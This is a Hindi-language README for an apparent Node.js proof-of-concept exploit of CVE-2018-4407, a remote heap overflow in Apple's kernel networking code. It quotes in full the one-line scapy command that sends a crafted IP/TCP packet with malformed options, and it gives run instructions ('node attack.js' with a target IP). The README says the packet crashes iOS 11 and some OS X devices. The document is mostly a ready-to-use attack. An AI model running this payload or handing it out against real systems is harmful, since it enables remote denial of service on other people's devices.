node-cve-2018-4407

CVE-2018-4407 के लिए Node.js PoC एक्सप्लॉइट कोड

लेखक: Sam Decrock

यह स्क्रिप्ट Zuk द्वारा प्रदान किए गए scapy स्क्रिप्ट पर आधारित है:

iOS 12 / OS X *Remote Kernel Heap Overflow (CVE-2018-4407) POC* एक ट्वीट में:
pip install scapy
sudo scapy
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))

— Zuk (@ihackbanme) 1 नवंबर, 2018

यह iOS 11 या उससे पहले के उपकरणों के साथ-साथ OS X के कुछ संस्करणों को क्रैश कर देता है।

मॉड्यूल इंस्टॉल करें

इसके आवश्यक मॉड्यूल को इंस्टॉल करने के लिए, चलाएँ:

npm install

चलाएँ

चलाने के लिए, लक्ष्य IP पते को तर्क के रूप में पास करें:

node attack.js 192.168.1.20

अधिक जानकारी

Kevin Backhouse द्वारा मूल लेख: https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407